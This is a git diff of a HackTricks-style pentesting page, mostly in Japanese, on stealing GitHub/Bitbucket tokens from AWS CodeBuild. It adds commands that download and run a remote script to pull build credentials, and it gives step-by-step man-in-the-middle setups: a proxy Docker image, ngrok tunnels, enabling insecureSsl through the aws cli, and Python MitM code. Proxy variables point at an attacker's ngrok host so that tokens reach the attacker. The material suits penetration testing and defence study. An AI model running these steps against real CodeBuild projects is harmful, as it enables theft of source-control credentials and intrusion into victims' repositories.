diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index efef79c57..893cadd5e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,57 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens +## Github/Bitbucket に設定されたトークンを回収 -まず、leak できるソースの認証情報が設定されているか確認します: +まず、leak できるようなソース認証情報が設定されているか確認します: ```bash aws codebuild list-source-credentials ``` -### Docker Image を使用して +### CodeBuild jobでのRCE経由 -アカウントに例えば Github への認証情報が設定されている場合、Codebuild にプロジェクトのビルドを実行させる際に特定の Docker image を使用させることで、**exfiltrate** that **access** (**GH token or OAuth token**) できます。 +CodeBuild jobの内部から、ドキュメント化されていないAWS CodeBuild APIエンドポイントにアクセスすると、CodeBuildが使用するcredentialsを返します。これにより、CodeBuild jobが設定されたcredentials(例:AWS CodeConnection credentials、OAUTH、PAT)を取得できます。CodeBuild jobはこのエンドポイントにアクセスするために特権を必要とせず、CodeBuild自体が起動時にこのエンドポイントを複数回呼び出すため、loggingやmonitoringで検知されにくいです。 -この目的のために、**create a new Codebuild project** するか既存プロジェクトの **environment** を変更して **Docker image** を設定できます。 +この手法はさらに [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) で詳述されていますが、要約すると CodeBuild job内でcredentialsを取得するには、次を実行すれば十分です: +``` +python -m pip install botocore boto3 requests +wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py +python ./GetBuildInfo.py +``` +### Docker Image 経由 -使用できる Docker image は [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的な Docker image で、**env variables `https_proxy`**, **`http_proxy`** および **`SSL_CERT_FILE`** を設定します。これにより **`https_proxy`** と **`http_proxy`** に指定したホストのほとんどのトラフィックを傍受でき、**`SSL_CERT_FILE`** に指定した SSL 証明書を信頼させることができます。 +例えば、アカウントにGithubへの認証が設定されている場合、プロジェクトのビルド実行時にCodebuildに特定のDocker imageを使用させることで、その**access**(**GH token or OAuth token**)を**exfiltrate**できます。 -1. **Create & Upload your own Docker MitM image** -- リポジトリの指示に従って proxy の IP アドレスと SSL 証明書を設定し、**build the docker image** してください。 -- メタデータエンドポイントへのリクエストを傍受しないように **DO NOT SET `http_proxy`** としてください。 -- `ngrok` を使って `ngrok tcp 4444` のようにホストへプロキシを設定することができます(例)。 -- Docker image をビルドしたら、**upload it to a public repo** (Dockerhub, ECR...) してください。 -2. **Set the environment** -- **Create a new Codebuild project** するか、既存のプロジェクトの環境を **modify** してください。 -- プロジェクトが **previously generated Docker image** を使用するように設定します。 +この目的のために、**create a new Codebuild project**するか既存のプロジェクトの**environment**を変更して**Docker image**を設定します。 + +使用できるDocker imageは [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的なDocker imageで、**env variables `https_proxy`**, **`http_proxy`** および **`SSL_CERT_FILE`** を設定します。これにより、`https_proxy` と `http_proxy` で指定されたホストのほとんどのトラフィックを傍受し、`SSL_CERT_FILE` で示されたSSL証明書を信頼させることができます。 + +1. **独自の Docker MitM image を作成してアップロードする** +- リポジトリの指示に従い、proxy IPアドレスとSSL証明書を設定し、**build the docker image**してください。 +- **DO NOT SET `http_proxy`** — metadata endpoint へのリクエストをインターセプトしないようにするためです。 +- 例えば **`ngrok`** を使って `ngrok tcp 4444` のようにしてプロキシをホストに向けることができます。 +- Docker image をビルドしたら、**upload it to a public repo**(Dockerhub, ECR...)してください。 +2. **環境を設定する** +- **create a new Codebuild project** または既存のプロジェクトの**environment**を**modify**します。 +- プロジェクトが**previously generated Docker image**を使用するように設定します。
-3. **Set the MitM proxy in your host** +3. ホストにMitMプロキシを設定する -- **Github repo** に示されているように、次のようなものを使用できます: +- **Github repo** に記載されているように、次のようなものを使用できます: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> 使用した **mitmproxy バージョンは 9.0.1** で、バージョン10では動作しない可能性が報告されています。 +> 使用した **mitmproxy のバージョンは 9.0.1** で、バージョン10では動作しない可能性が報告されています。 -4. **ビルドを実行して資格情報をキャプチャする** +4. **ビルドを実行して資格情報を取得する** -- トークンは **Authorization** ヘッダーで確認できます: +- token は **Authorization** ヘッダーで確認できます:
-これは aws cli から次のようにして行うこともできます +これは aws cli から次のように実行しても同様に行えます: ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +81,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### insecureSSL 経由 +### insecureSSL を介して -**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、Web(コンソール)上では隠されていて、API からのみ変更できます.\ -これを有効にすると、Codebuild はプラットフォームが提示するリポジトリの**証明書を検証せずに**接続できるようになります。 +**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、web 上では隠されていて API からのみ変更できます.\\ +これを有効にすると、Codebuild はプラットフォームが提示する **証明書を検証せずに** リポジトリに接続できます。 -- まずは次のような方法で現在の設定を列挙する必要があります: +- まず、次のようなコマンドで現在の設定を列挙する必要がある: ```bash aws codebuild batch-get-projects --name ``` -- 収集した情報を使って、プロジェクト設定 **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(収集した設定から変更する必要があるのはこれだけです)。 -- また、環境変数 **http_proxy** と **https_proxy** を tcp ngrok を指すように追加してください。例えば: +- 収集した情報を使って、プロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、末尾の **`insecureSsl=True`** に注目してください(収集した構成から変更するのはこれだけです)。 +- さらに、環境変数 **http_proxy** と **https_proxy** をあなたの tcp ngrok を指すように追加してください。次のように: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +125,7 @@ aws codebuild update-project --name \ ] }' ``` -- 次に、プロキシ変数 (http_proxy と https_proxy) が指すポートで [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を実行します +- 次に、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の basic example を proxy variables (http_proxy and https_proxy) が指すポートで実行します ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 最後に、**Build the project** をクリックすると、**credentials** が **平文で送信されます** (base64) mitm ポートへ: +- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
-### ~~HTTP プロトコル経由~~ +### ~~Via HTTP protocol~~ -> [!TIP] > **この脆弱性は 2023 年 2 月 20 日の週のいつか(おそらく金曜日)に AWS によって修正されました。つまり、攻撃者はもう悪用できません :)** +> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** -攻撃者は**CodeBuild 上で権限が昇格していると、設定された Github/Bitbucket token を leak できる**、または権限が OAuth 経由で設定されている場合は、**コードにアクセスするために使用される一時的な OAuth token** を leak できます。 +CodeBuild 上で権限昇格した攻撃者は、設定されている Github/Bitbucket token を leak できる、あるいは権限が OAuth で設定されている場合はコードにアクセスするために使用される一時的な OAuth token を leak することができる。 -- 攻撃者は環境変数 **http_proxy** と **https_proxy** を CodeBuild プロジェクトに追加して自分のマシンを指すようにする可能性があります(例: `http://5.tcp.eu.ngrok.io:14972`)。 +- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
-- 次に、github リポジトリの URL を HTTPS の代わりに HTTP を使うように変更します。例: `http://github.com/carlospolop-forks/TestActions` -- 次に、proxy 変数(http_proxy と https_proxy)が指すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本例を実行します。 +- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` +- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 次に、**Build the project** をクリックするか、コマンドラインからビルドを開始します: +次に、**Build the project** をクリックするか、コマンドラインからビルドを開始します: ```sh aws codebuild start-build --project-name ``` -- 最後に、**credentials** は **平文で送信されます**(base64)mitm ポートへ: +- 最終的に、**credentials** は **sent in clear text** (base64) で mitm ポートに送信されます:
> [!WARNING] -> これにより attacker は自分のマシンから token を使用でき、その token が持つすべての権限を列挙し、CodeBuild service を直接使うよりも簡単に (ab)use できます。 +> これにより攻撃者は自身のマシンから token を使用でき、その token の持つすべての権限を列挙し、CodeBuild サービスを直接利用するよりも簡単に (ab)use できます。 -## webhook フィルタの誤設定による Untrusted PR 実行 +## Untrusted PR execution via webhook filter misconfiguration -PR-triggered webhook bypass chain(`ACTOR_ACCOUNT_ID` regex + untrusted PR execution)については、次を参照してください: +PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution) については、以下を参照してください: {{#ref}} aws-codebuild-untrusted-pr-webhook-bypass.md